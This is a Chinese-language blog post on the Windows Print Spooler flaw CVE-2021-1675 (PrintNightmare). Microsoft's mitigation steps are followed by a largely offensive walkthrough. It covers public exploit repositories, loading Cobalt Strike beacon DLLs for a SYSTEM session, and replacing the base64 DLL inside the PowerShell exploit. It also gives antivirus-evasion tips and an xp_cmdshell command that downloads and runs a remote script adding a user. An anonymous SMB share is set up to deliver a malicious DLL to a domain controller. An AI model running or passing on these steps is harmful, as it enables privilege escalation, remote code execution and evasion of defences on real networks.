ShokaX

CVE-2021-1675(Windows Print Spooler权限提升漏洞)

发布于 字数统计 10.3k 字 阅读时长 35 分钟

CVE-2021-1675(Windows Print Spooler权限提升漏洞)

发布于 字数统计 10,297 阅读时长 52 分钟

漏洞详情

漏洞描述


Microsoft 已发现并调查影响 Windows Print Spooler 的远程代码执行漏洞,并已将 CVE-2021-34527 分配给此漏洞。

当 Windows Print Spooler 服务不正确地执行特权文件操作时,存在远程执行代码漏洞风险。成功利用此漏洞的攻击者可以使用 SYSTEM 权限运行任意代码。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。

攻击必须涉及调用 RpcAddPrinterDriverEx ( ) 的经过身份验证的用户。
 

影响版本


Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

 

 

Exp&Poc


https://github.com/yisaditatimi/CVE-2021-1675-LPE( 含cobaltstrike cna脚本)
https://github.com/yisaditatimi/CVE-2021-1675-powershell (powershell版本)

 

修复建议


微软公司给出了针对该漏洞的缓解办法,目前正式补丁尚未发布。

确定 Print Spooler 服务是否正在运行(以域管理员身份运行)

以域管理员身份运行以下命令:

Get-Service -Name Spooler

如果 Print Spooler 正在运行或该服务未设置为禁用,请选择以下选项之一以禁用 Print Spooler 服务,或通过组策略禁用入站远程打印:

选项 1 - 禁用 Print Spooler 服务

如果禁用 Print Spooler 服务适合您的企业,请使用以下 PowerShell 命令:

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

禁用 Print Spooler 服务会禁用本地和远程打印功能。

选项 2 - 通过组策略禁用入站远程打印

运行组策略编辑器 ( Win+R,输入 gpedit.msc,打开组策略编辑器),依次浏览到:计算机配置 / 管理模板 / 打印机

禁用 ” 允许打印后台处理程序接受客户端连接:” 策略以阻止远程攻击。

变通办法的影响:

此策略将通过阻止入站远程打印操作来阻止远程攻击。该系统将不再用作打印服务器,但仍然可以本地打印到直接连接的设备。

参考链接:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
 

 

免责声明


请勿使用文中的技术和工具用于非法用途。用户须承担一切因自己的行为而直接或间接导致的民事或刑事法律责任。
 

漏洞复现

参考链接


https://422926799.github.io/posts/c257aa46.html
https://blog.csdn.net/k8gege/article/details/118652953
https://www.cnblogs.com/Rainbovv/p/14966438.html

本地提权利用

这里主要是利用该漏洞进行提权操作,可以提权到system。

二进制EXP

生成CS上线dll后,上传到目标主机,然后编译上述CVE-2021-1675-LPE代码中dll的路径(不编译的话也成,不过需要输入参数指定cs的dll路径;若将路径写到代码中,就不需要执行参数了,自己取舍)。

89df3f41-c831-4440-bf83-8fa97015fd49-image.png

生成CS上线dll

4c0af7a2-5704-45ee-8342-f9f8e9061471-image.png

修改代码路径

然后将生成的exe,扔到目标机器运行即可。(这里加上了参数,如果做了上面的操作,不加参数也可以),然后CS就会回弹一个system权限的会话了。
ae7406f0-8291-4b85-acda-e6686c5fa67d-image.png

CS插件形式

上传CS dll到目标机器。
然后将CVE-2021-1675-LPE-RDLL.mian代码中111行dll路径进行修改,编译生成,得到CVE-2021-1675-LPE-RDLL.dll。
将该dll和cna插件放同目录,导入cna插件,输入命令cve_2021_1675即可。
759f7bf0-19bf-4e2d-9a3f-160c4e50528c-image.png

8d3a69fd-891e-45e4-a477-047e3502df73-image.png
cae4cccd-6cc6-49d4-b724-b1fdefc8b584-image.png
0e290719-5c2e-4bff-a98f-e0fcffd50593-image.png

Powershell执行

https://github.com/yisaditatimi/CVE-2021-1675-powershell
下载上述ps文件,然后按照教程直接用即可。
4ab2b17b-5f58-46e3-a31f-29691f4533d2-image.png

魔改上面的powershell

上面的ps是把dll以base64形式放在文件里的,运行后,将这个dll写到目标机器上,然后加载这个dll,所以如果我们将这个dll换成cs的,那么是不是就能成功上线。

26019590-4be7-4dbc-874a-1dc24890c956-image.png

|-恶意dll以base64保存在ps脚本中-|

因此,我们可以自己修改这里面的内容来完成我们的操作,比如完成CS上线,而不是添加用户。
首先,将53行那边的if else全删了,然后将153行的base64流改成我们的dll即可。
3b1fb29b-d93d-474e-9fad-81704f9dbe17-image.png

4bfab1d0-4a83-42f7-bc61-d4e62b29a1ec-image.png

而这里dll base64流的生成如下:
cs生成dll后,进行gzip压缩,然后将文件转成base64流,复制粘贴到ps脚本中。
7c49a7d7-c208-4236-8b5f-ada9b7ce5b22-image.png
f2fad892-4a78-419e-84f4-e7c91e56d82f-image.png
305689f6-6db1-4501-875c-921e69508ef3-image.png

免杀dll

上述两种exp的利用,其实都是把dll给放到了目标机器上,存在文件落地行为,而我们使用的都是cs生成的dll,因此若存在杀软,则dll基本上就是落地死,exp也会因找不到dll而利用失败。
有能力的可以自己来编写免杀dll上线。

新建dll项目,删除无关代码,填充我们的功能代码。
b0f55f47-40d3-4b92-ad85-5374ff656cb4-image.png
830b3efd-7695-4490-8716-5f3ed5fefa2a-image.png

PS:不推荐异或免杀,推荐使用AES等对称加密算法来加密shellcode。做免杀的时候务必关闭杀软的样本上传功能(血的教训)。

小技巧

平时我们打战一般都是从注入打进去的,而若目标数据库是sqlserver的,就能通过xp_cmdshell来执行命令。所以我们也可以用xp_cmdshell来调用powershell执行EXP来进行提权(或上线CS)。
将ps1直接传到服务器,然后执行下述命令。
(这里ps功能是添加用户,也可以按照前面的操作,把添加用户的dll换成cs上线的dll)
exec master..xp_cmdshell 'powershell IEX ((new-object net.webclient).downloadstring(''http://1.1.1.1/add_user.ps1''));Invoke-Nightmare -DriverName PrintMe -NewUser 2025 -NewPassword qq1234.1';

078a5069-d83f-4a31-81fb-a5214e7421e0-image.png
62b54af6-3390-4398-ba55-4299cd6cb3b7-image.png

域提权利用

前提:
一个普通的域用户
开启PrintSpooler服务

exp:
一个是py,一个是exe
https://github.com/cube0x0/CVE-2021-1675
https://github.com/hayasec/PrintNightmare

下面以py版本的EXP为例,
为了域控能访问加载dll我们的恶意dll,需要先配置一个匿名的SMB文件共享服务器

kali下配置匿名SMB共享服务器

vim /etc/samba/smb.conf
[global]
workgroup = WORKGROUP
server string = Samba Server
netbios name = MYSERVER
log file = /var/log/samba/log.%m
max log size = 50
security = user
map to guest = Bad User
[smb]
comment = Template Directories
browseable = yes
writeable = yes
path = /tmp/
guest ok = yes     

1844b777-eb91-44b0-a62c-9f4bb62cfbd3-image.png

启动SMB服务
service smbd start
查看是否能正常读文件
6b26256b-aca8-439d-841e-eb49fe8cf701-image.png
若能访问目录但是无法读写文件,则说明文件无权限,需要到kali给予权限。如下图,赋予权限后,文件正常读写能进行。然后把我们cs生成的dll扔进共享文件夹,赋予权限,使用exp直接开打。
7f96d8e5-94d1-4c90-a9d9-5b8e35845d59-image.png
a4d122c0-814a-4d0b-b62a-76ac10283faa-image.png

EXP利用

对于Windowserver2012的利用未成功。(这里第一个报错是因为lisi没有
SeImpersonatePrivilege身份验证后模拟客户端或SeAssignPrimaryTokenPrivilege权限)
于是换上域管来登录,但是不知为何,就是利用失败。(难道是必须要用普通用户,但是我普通用户又没上述权限,有环境的老哥可以试试)
ed2bbf02-28db-4881-bb14-90db4572294e-image.png
69abf130-4101-4f45-b6a3-a41f63ddaf87-image.png

于是换成Windows Server2019,成功攻击。(该dll功能是添加一个管理员用户)
23768584-61fd-4663-b160-ffad0d429dc4-image.png
bfc76683-bee4-4bf2-8749-b443a66268bd-image.png